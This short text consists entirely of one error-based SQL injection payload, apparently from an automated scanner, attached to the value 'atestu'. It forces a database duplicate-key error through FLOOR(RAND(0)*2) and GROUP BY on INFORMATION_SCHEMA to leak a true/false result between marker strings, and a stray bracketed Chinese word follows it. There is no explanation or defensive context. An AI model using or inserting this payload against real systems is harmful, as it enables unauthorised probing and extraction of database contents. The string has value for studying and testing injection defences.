atestu AND (SELECT 4112 FROM(SELECT COUNT(*),CONCAT('KZ0IY1qH',(SELECT (CASE WHEN (4112=4112) THEN 1 ELSE 0 END)),'KZ0IY1qH',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND KZ0IY1qH=KZ0IY1qH

[还原]